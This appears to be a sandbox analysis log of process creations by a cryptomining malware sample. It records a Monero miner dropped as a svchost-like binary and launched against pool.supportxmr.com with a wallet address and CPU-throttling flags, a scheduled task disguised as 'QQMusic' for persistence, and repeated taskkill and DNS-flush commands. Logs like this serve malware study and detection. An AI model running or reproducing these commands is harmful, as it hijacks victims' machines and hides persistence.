Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\SysWOW64\taskkill.exe taskkill /f /im Svchocpu.exe
Source: C:\Users\user\Desktop\file.exe	Process created: C:\Windows\SysWOW64\cmd.exe cmd /c taskkill /f /im Svchocpu.exe&&exit
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Users\user\Desktop\file.exe	Process created: C:\ProgramData\Svchocpu.exe C:\ProgramData\Svchocpu.exe -o stratum+tcp://pool.supportxmr.com:3333 -u 45sep79Asuwcjz8dLTu7XtJBTX7yYf7uo6qT9ymFBQXv8gjZsDPyd46Hoh6DM8pAXkLnsw9U7veZWU1DqMjKRoryAn3zEq1 -p X --max-cpu-usage=25 --cpu-priority 1 --cpu-max-threads-hint=25 -K
Source: C:\ProgramData\Svchocpu.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\SysWOW64\taskkill.exe taskkill /f /im Svchocpu.exe
Source: C:\Users\user\Desktop\file.exe	Process created: C:\Windows\SysWOW64\cmd.exe cmd /c taskkill /f /im Svchocpu.exe&&exit
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\SysWOW64\taskkill.exe taskkill /f /im Svchocpu.exe
Source: C:\Users\user\Desktop\file.exe	Process created: C:\ProgramData\Svchocpu.exe C:\ProgramData\Svchocpu.exe -o stratum+tcp://pool.supportxmr.com:3333 -u 45sep79Asuwcjz8dLTu7XtJBTX7yYf7uo6qT9ymFBQXv8gjZsDPyd46Hoh6DM8pAXkLnsw9U7veZWU1DqMjKRoryAn3zEq1 -p X --max-cpu-usage=25 --cpu-priority 1 --cpu-max-threads-hint=25 -K
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\ProgramData\Svchocpu.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\SysWOW64\taskkill.exe taskkill /f /im Svchocpu.exe
Source: C:\Users\user\Desktop\file.exe	Process created: C:\Windows\SysWOW64\cmd.exe cmd /c taskkill /f /im Svchocpu.exe&&exit
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Users\user\Desktop\file.exe	Process created: C:\ProgramData\Svchocpu.exe C:\ProgramData\Svchocpu.exe -o stratum+tcp://pool.supportxmr.com:3333 -u 45sep79Asuwcjz8dLTu7XtJBTX7yYf7uo6qT9ymFBQXv8gjZsDPyd46Hoh6DM8pAXkLnsw9U7veZWU1DqMjKRoryAn3zEq1 -p X --max-cpu-usage=25 --cpu-priority 1 --cpu-max-threads-hint=25 -K
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\SysWOW64\taskkill.exe taskkill /f /im Svchocpu.exe
Source: C:\Users\user\Desktop\file.exe	Process created: C:\Windows\SysWOW64\cmd.exe cmd /c taskkill /f /im Svchocpu.exe&&exit
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\SysWOW64\taskkill.exe taskkill /f /im Svchocpu.exe
Source: C:\Users\user\Desktop\file.exe	Process created: C:\Windows\SysWOW64\cmd.exe cmd /c taskkill /f /im Svchocpu.exe&&exit
Source: C:\Users\user\Desktop\file.exe	Process created: C:\ProgramData\Svchocpu.exe C:\ProgramData\Svchocpu.exe -o stratum+tcp://pool.supportxmr.com:3333 -u 45sep79Asuwcjz8dLTu7XtJBTX7yYf7uo6qT9ymFBQXv8gjZsDPyd46Hoh6DM8pAXkLnsw9U7veZWU1DqMjKRoryAn3zEq1 -p X --max-cpu-usage=25 --cpu-priority 1 --cpu-max-threads-hint=25 -K
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\SysWOW64\taskkill.exe taskkill /f /im Svchocpu.exe
Source: C:\Users\user\Desktop\file.exe	Process created: C:\Windows\SysWOW64\cmd.exe cmd /c taskkill /f /im Svchocpu.exe&&exit
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\SysWOW64\taskkill.exe taskkill /f /im Svchocpu.exe
Source: C:\Users\user\Desktop\file.exe	Process created: C:\ProgramData\Svchocpu.exe C:\ProgramData\Svchocpu.exe -o stratum+tcp://pool.supportxmr.com:3333 -u 45sep79Asuwcjz8dLTu7XtJBTX7yYf7uo6qT9ymFBQXv8gjZsDPyd46Hoh6DM8pAXkLnsw9U7veZWU1DqMjKRoryAn3zEq1 -p X --max-cpu-usage=25 --cpu-priority 1 --cpu-max-threads-hint=25 -K
Source: C:\Users\user\Desktop\file.exe	Process created: C:\Windows\SysWOW64\cmd.exe cmd /c taskkill /f /im Svchocpu.exe&&exit
Source: C:\Users\user\Desktop\file.exe	Process created: C:\Windows\SysWOW64\cmd.exe cmd /c taskkill /f /im Svchocpu.exe&&exit
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\SysWOW64\taskkill.exe taskkill /f /im Svchocpu.exe
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\SysWOW64\taskkill.exe taskkill /f /im Svchocpu.exe
Source: C:\Users\user\Desktop\file.exe	Process created: C:\ProgramData\Svchocpu.exe C:\ProgramData\Svchocpu.exe -o stratum+tcp://pool.supportxmr.com:3333 -u 45sep79Asuwcjz8dLTu7XtJBTX7yYf7uo6qT9ymFBQXv8gjZsDPyd46Hoh6DM8pAXkLnsw9U7veZWU1DqMjKRoryAn3zEq1 -p X --max-cpu-usage=25 --cpu-priority 1 --cpu-max-threads-hint=25 -K
Source: C:\Users\user\Desktop\file.exe	Process created: C:\Windows\SysWOW64\cmd.exe cmd /c taskkill /f /im Svchocpu.exe&&exit
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Users\user\Desktop\file.exe	Process created: C:\Windows\SysWOW64\cmd.exe cmd /c taskkill /f /im Svchocpu.exe&&exit
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\SysWOW64\taskkill.exe taskkill /f /im Svchocpu.exe
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\SysWOW64\taskkill.exe taskkill /f /im Svchocpu.exe
Source: C:\Users\user\Desktop\file.exe	Process created: C:\ProgramData\Svchocpu.exe C:\ProgramData\Svchocpu.exe -o stratum+tcp://pool.supportxmr.com:3333 -u 45sep79Asuwcjz8dLTu7XtJBTX7yYf7uo6qT9ymFBQXv8gjZsDPyd46Hoh6DM8pAXkLnsw9U7veZWU1DqMjKRoryAn3zEq1 -p X --max-cpu-usage=25 --cpu-priority 1 --cpu-max-threads-hint=25 -K
Source: C:\ProgramData\Svchocpu.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Users\user\Desktop\file.exe	Process created: C:\Windows\SysWOW64\cmd.exe cmd /c taskkill /f /im Svchocpu.exe&&exit
Source: C:\Users\user\Desktop\file.exe	Process created: C:\Windows\SysWOW64\cmd.exe cmd /c ipconfig /flushdns
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\SysWOW64\taskkill.exe taskkill /f /im Svchocpu.exe
Source: C:\ProgramData\Svchocpu.exe	Process created: C:\Windows\System32\Conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Windows\SysWOW64\taskkill.exe	Process created: C:\Windows\System32\Conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\System32\Conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\System32\Conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Windows\System32\conhost.exe	Process created: C:\Windows\System32\Conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\System32\Conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\ProgramData\Svchocpu.exe	Process created: C:\Windows\System32\Conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\System32\Conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Windows\System32\conhost.exe	Process created: C:\Windows\System32\Conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\ProgramData\Svchocpu.exe	Process created: C:\Windows\System32\Conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Windows\System32\Conhost.exe	Process created: C:\Windows\System32\Conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Windows\SysWOW64\taskkill.exe	Process created: C:\Windows\System32\Conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Users\user\Desktop\file.exe	Process created: C:\Windows\SysWOW64\cmd.exe cmd /c schtasks /create /sc minute /mo 1 /tn "QQMusic" /tr C:\Users\user\Desktop\file.exe /F	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Process created: C:\Windows\SysWOW64\cmd.exe cmd /c taskkill /f /im Svchocpu.exe&&exit	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Process created: C:\Windows\SysWOW64\cmd.exe cmd /c taskkill /f /im Svchocpu.exe&&exit	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Process created: C:\Windows\SysWOW64\cmd.exe cmd /c ipconfig /flushdns	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Process created: C:\Windows\SysWOW64\cmd.exe cmd /c taskkill /f /im Svchocpu.exe&&exit	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Process created: C:\Windows\SysWOW64\cmd.exe cmd /c taskkill /f /im Svchocpu.exe&&exit	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Process created: C:\Windows\SysWOW64\schtasks.exe schtasks /create /sc minute /mo 1 /tn "QQMusic" /tr C:\Users\user\Desktop\file.exe /F	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Process created: C:\Windows\SysWOW64\cmd.exe cmd /c taskkill /f /im Svchocpu.exe&&exit	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Process created: C:\ProgramData\Svchocpu.exe C:\ProgramData\Svchocpu.exe -o stratum+tcp://pool.supportxmr.com:3333 -u 45sep79Asuwcjz8dLTu7XtJBTX7yYf7uo6qT9ymFBQXv8gjZsDPyd46Hoh6DM8pAXkLnsw9U7veZWU1DqMjKRoryAn3zEq1 -p X --max-cpu-usage=25 --cpu-priority 1 --cpu-max-threads-hint=25 -K	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Process created: C:\Windows\SysWOW64\cmd.exe cmd /c taskkill /f /im Svchocpu.exe&&exit	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Process created: C:\Windows\SysWOW64\cmd.exe cmd /c taskkill /f /im Svchocpu.exe&&exit	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Process created: C:\Windows\SysWOW64\cmd.exe cmd /c taskkill /f /im Svchocpu.exe&&exit	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Process created: C:\Windows\SysWOW64\cmd.exe cmd /c taskkill /f /im Svchocpu.exe&&exit	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Process created: C:\Windows\SysWOW64\taskkill.exe taskkill /f /im Svchocpu.exe	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Process created: C:\Windows\SysWOW64\cmd.exe cmd /c taskkill /f /im Svchocpu.exe&&exit	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Process created: C:\Windows\SysWOW64\cmd.exe cmd /c taskkill /f /im Svchocpu.exe&&exit	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Process created: C:\ProgramData\Svchocpu.exe C:\ProgramData\Svchocpu.exe -o stratum+tcp://pool.supportxmr.com:3333 -u 45sep79Asuwcjz8dLTu7XtJBTX7yYf7uo6qT9ymFBQXv8gjZsDPyd46Hoh6DM8pAXkLnsw9U7veZWU1DqMjKRoryAn3zEq1 -p X --max-cpu-usage=25 --cpu-priority 1 --cpu-max-threads-hint=25 -K	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Process created: C:\Windows\SysWOW64\cmd.exe cmd /c taskkill /f /im Svchocpu.exe&&exit	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Process created: C:\ProgramData\Svchocpu.exe C:\ProgramData\Svchocpu.exe -o stratum+tcp://pool.supportxmr.com:3333 -u 45sep79Asuwcjz8dLTu7XtJBTX7yYf7uo6qT9ymFBQXv8gjZsDPyd46Hoh6DM8pAXkLnsw9U7veZWU1DqMjKRoryAn3zEq1 -p X --max-cpu-usage=25 --cpu-priority 1 --cpu-max-threads-hint=25 -K	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Process created: C:\Windows\SysWOW64\cmd.exe cmd /c taskkill /f /im Svchocpu.exe&&exit	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Process created: C:\Windows\SysWOW64\cmd.exe cmd /c taskkill /f /im Svchocpu.exe&&exit	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Process created: C:\Windows\SysWOW64\cmd.exe cmd /c taskkill /f /im Svchocpu.exe&&exit	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Process created: C:\Windows\SysWOW64\cmd.exe cmd /c taskkill /f /im Svchocpu.exe&&exit	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Process created: C:\Windows\SysWOW64\taskkill.exe taskkill /f /im Svchocpu.exe	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Process created: C:\Windows\SysWOW64\cmd.exe cmd /c taskkill /f /im Svchocpu.exe&&exit	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Process created: C:\Windows\SysWOW64\taskkill.exe taskkill /f /im Svchocpu.exe	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Process created: C:\Windows\SysWOW64\cmd.exe cmd /c taskkill /f /im Svchocpu.exe&&exit	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Process created: C:\Windows\SysWOW64\taskkill.exe taskkill /f /im Svchocpu.exe	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Process created: C:\ProgramData\Svchocpu.exe C:\ProgramData\Svchocpu.exe -o stratum+tcp://pool.supportxmr.com:3333 -u 45sep79Asuwcjz8dLTu7XtJBTX7yYf7uo6qT9ymFBQXv8gjZsDPyd46Hoh6DM8pAXkLnsw9U7veZWU1DqMjKRoryAn3zEq1 -p X --max-cpu-usage=25 --cpu-priority 1 --cpu-max-threads-hint=25 -K	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Process created: C:\Windows\SysWOW64\cmd.exe cmd /c taskkill /f /im Svchocpu.exe&&exit	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Process created: C:\Windows\SysWOW64\cmd.exe cmd /c taskkill /f /im Svchocpu.exe&&exit	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Process created: C:\Windows\SysWOW64\taskkill.exe taskkill /f /im Svchocpu.exe	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Process created: C:\Windows\SysWOW64\taskkill.exe taskkill /f /im Svchocpu.exe	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Process created: C:\Windows\SysWOW64\taskkill.exe taskkill /f /im Svchocpu.exe	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Process created: C:\Windows\SysWOW64\taskkill.exe taskkill /f /im Svchocpu.exe	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Process created: C:\Windows\SysWOW64\taskkill.exe taskkill /f /im Svchocpu.exe	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Process created: C:\Windows\System32\Conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Process created: C:\Windows\SysWOW64\taskkill.exe taskkill /f /im Svchocpu.exe	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Process created: C:\Windows\SysWOW64\taskkill.exe taskkill /f /im Svchocpu.exe	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Process created: C:\Windows\SysWOW64\taskkill.exe taskkill /f /im Svchocpu.exe	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Process created: C:\ProgramData\Svchocpu.exe C:\ProgramData\Svchocpu.exe -o stratum+tcp://pool.supportxmr.com:3333 -u 45sep79Asuwcjz8dLTu7XtJBTX7yYf7uo6qT9ymFBQXv8gjZsDPyd46Hoh6DM8pAXkLnsw9U7veZWU1DqMjKRoryAn3zEq1 -p X --max-cpu-usage=25 --cpu-priority 1 --cpu-max-threads-hint=25 -K	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Process created: C:\Windows\SysWOW64\cmd.exe cmd /c taskkill /f /im Svchocpu.exe&&exit	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Process created: C:\ProgramData\Svchocpu.exe C:\ProgramData\Svchocpu.exe -o stratum+tcp://pool.supportxmr.com:3333 -u 45sep79Asuwcjz8dLTu7XtJBTX7yYf7uo6qT9ymFBQXv8gjZsDPyd46Hoh6DM8pAXkLnsw9U7veZWU1DqMjKRoryAn3zEq1 -p X --max-cpu-usage=25 --cpu-priority 1 --cpu-max-threads-hint=25 -K	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Process created: C:\Windows\SysWOW64\taskkill.exe taskkill /f /im Svchocpu.exe	Jump to behavior
